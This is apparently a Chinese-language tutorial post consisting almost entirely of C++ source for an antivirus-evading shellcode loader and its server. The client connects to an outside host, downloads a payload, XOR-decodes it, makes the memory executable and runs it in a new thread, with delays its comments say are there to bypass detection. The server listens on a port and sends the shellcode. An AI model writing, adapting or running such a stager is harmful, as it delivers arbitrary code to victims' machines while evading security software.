实现：远程加载shellcode实现分离免杀

客户端：

#include <stdio.h>
#include <iostream>
#include <WinSock2.h>
#pragma comment(lib, "ws2_32.lib")  //添加ws2_32动态库
#pragma warning(disable:4996) //忽略旧函数使用的警告

using namespace std;

int main(int argc, char *argv[])
{
	const int BUF_SIZE = 1024;

	WSADATA			wsd; //WSADATA变量
	SOCKET			sHost; // 服务器套接字socket
	SOCKADDR_IN		servAddr; //服务器地址
	char			buf[BUF_SIZE]; // 存放发送的数据缓冲区
	char			bufRecv[BUF_SIZE]; //接收收到的数据缓冲区
	DWORD			dwThreadId;
	HANDLE			hThread;
	DWORD			dwOldProtect;

	int retVal; // 返回值

	if (argc <= 2){
		cout << "USAGE: client.exe <Server IP> <Server PORT>" << endl;
		return -1;
	}

	if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0) //初始化套结字动态库
	{
		cout << "WSAStartup failed!" << endl;
		return -1;
	}

	sHost = socket(AF_INET, SOCK_STREAM, 0); //创建套接字 IPV4  可靠的，双向的类型服务提供商选择
	if (INVALID_SOCKET == sHost)
	{
		cout << "socket failed!" << endl;
		WSACleanup();
		return  -1;
	}

	//设置服务器的地址
	servAddr.sin_family = AF_INET; //指定IPV4
	servAddr.sin_addr.s_addr = inet_addr(argv[1]); // 指定服务器的地址
	servAddr.sin_port = htons((short)atoi(argv[2])); // 指定服务器的端口



	retVal = connect(sHost, (LPSOCKADDR)&servAddr, sizeof(servAddr)); // 套接字 sockaddr的指针，也就是地址 第三个参数为SOCKADDR_IN结构体的大小
	if (SOCKET_ERROR == retVal) //判断是否连接成功
	{
		cout << "connect failed!" << endl;
		closesocket(sHost);
		WSACleanup();
		return -1;
	}
	ZeroMemory(buf, BUF_SIZE); // buf指向的地址用0来填充
	strcpy(buf, "ok"); //给ok两个字节的字符串复制给buf区段

	retVal = send(sHost, buf, strlen(buf), 0); //send的返回值

	if (SOCKET_ERROR == retVal) //判断是否发送成功
	{
		cout << "send failed!" << endl;
		closesocket(sHost);
		WSACleanup();
		return -1;
	}
	cout << "Starting Download Payload" << endl;
	ZeroMemory(bufRecv, BUF_SIZE); // bufRevc指向的地址用0来填充
	Sleep(2000); //延迟两秒起到免杀绕过的效果


	recv(sHost, bufRecv, BUF_SIZE, 0); //bufRecv缓冲区接收 服务端发送来的数据

	Sleep(4000);
	closesocket(sHost);
	WSACleanup();
	for (int i = 0; i < sizeof(bufRecv); i++) { //采取倾旋的方式来进行异或解密
		//Sleep(50);
		_InterlockedXor8(bufRecv + i, 10);
	}
	cout << "加载shellcode中" << endl;

	//下面就是开辟内存存储shellcode 创建线程进行执行
	char * shellcode = (char *)VirtualAlloc(
		NULL,
		BUF_SIZE,
		MEM_COMMIT,
		PAGE_READWRITE // 只申请可读可写
	);

	CopyMemory(shellcode, bufRecv, BUF_SIZE);
	VirtualProtect(shellcode, BUF_SIZE, PAGE_EXECUTE, &dwOldProtect); // VirtualProtect改变它的属性 -> 可执行

	hThread = CreateThread(
		NULL, // 安全描述符
		NULL, // 栈的大小
		(LPTHREAD_START_ROUTINE)shellcode, // 函数
		NULL, // 参数
		NULL, // 线程标志
		&dwThreadId // 线程ID
	);

	WaitForSingleObject(hThread, INFINITE);
	return 0;
}

---

服务端：

#include <WinSock2.h>
#include <iostream>
#pragma comment(lib, "ws2_32.lib")

using namespace std;


int main(int argc, char* argv[])
{
	const int BUF_SIZE = 1024;
	WSADATA         wsd;            //WSADATA变量
	SOCKET          sServer;        //服务器套接字
	SOCKET          sClient;        //客户端套接字
	SOCKADDR_IN     addrServ;;      //服务器地址
	char            buf[BUF_SIZE];  //接收数据缓冲区
	char		sendBuf[] = "你的shellcode"; //或者可以是倾旋用的xor加密方式来进行加密
	int             retVal;         //返回值

	if (argc <= 1){
		cout << "USAGE: server.exe <Listen Port>" << endl;
		return -1;
	}

	if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0)//初始化套结字动态库
	{
		cout << "WSAStartup failed!" << endl;
		return 1;
	}

	//创建套接字
	sServer = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	if (INVALID_SOCKET == sServer)
	{
		cout << "Socket Failed!" << endl;
		WSACleanup();//释放套接字资源;
		return  -1;
	}

	//服务器套接字地址
	addrServ.sin_family = AF_INET;
	addrServ.sin_port = htons((short)atoi(argv[1]));;
	addrServ.sin_addr.s_addr = htonl(INADDR_ANY);

	//绑定套接字
	retVal = bind(sServer, (LPSOCKADDR)&addrServ, sizeof(SOCKADDR_IN));
	if (SOCKET_ERROR == retVal)
	{
		cout << "Bind Failed!" << endl;
		closesocket(sServer);   //关闭套接字
		WSACleanup();           //释放套接字资源;
		return -1;
	}

	//开始监听 
	retVal = listen(sServer, 1);
	if (SOCKET_ERROR == retVal)
	{
		cout << "Listen Failed!" << endl;
		closesocket(sServer);   //关闭套接字
		WSACleanup();           //释放套接字资源;
		return -1;
	}
	cout << "开始监听中...." << endl;

	//接受客户端请求
	sockaddr_in addrClient;
	int addrClientlen = sizeof(addrClient);
	sClient = accept(sServer, (sockaddr FAR*)&addrClient, &addrClientlen); // 生成对应当前客户端连接的套接字sClient
	if (INVALID_SOCKET == sClient)
	{
		cout << "Accept Failed!" << endl;
		closesocket(sServer);   //关闭套接字
		WSACleanup();           //释放套接字资源;
		return -1;
	}

	int flag = 1; //只接收一次
	while (flag)
	{
		//接收客户端数据
		ZeroMemory(buf, BUF_SIZE); // 填充为0 防止内存分配发生意外

		retVal = recv(sClient, buf, BUF_SIZE, 0); // 接收数据放在buf缓冲区

		if (SOCKET_ERROR == retVal) //判断是否接收错误
		{
			cout << "Recv Failed!" << endl;
			closesocket(sServer);   //关闭套接字
			closesocket(sClient);   //关闭套接字     
			WSACleanup();           //释放套接字资源;
			return -1;
		}
		if (buf[0] == '0')
			break;

		cout << "成功建立通信" << endl;
		send(sClient, sendBuf, sizeof(sendBuf), 0);
		cout << "向客户端发送shellcode..." << endl;
		cout << "发送shellcode成功!" << endl;
		flag = 0;

	}
	//退出
	closesocket(sServer);   //关闭套接字
	closesocket(sClient);   //关闭套接字
	WSACleanup();           //释放套接字资源;

	return 0;
}

参考文章：https://payloads.online/archivers/2019-11-10/2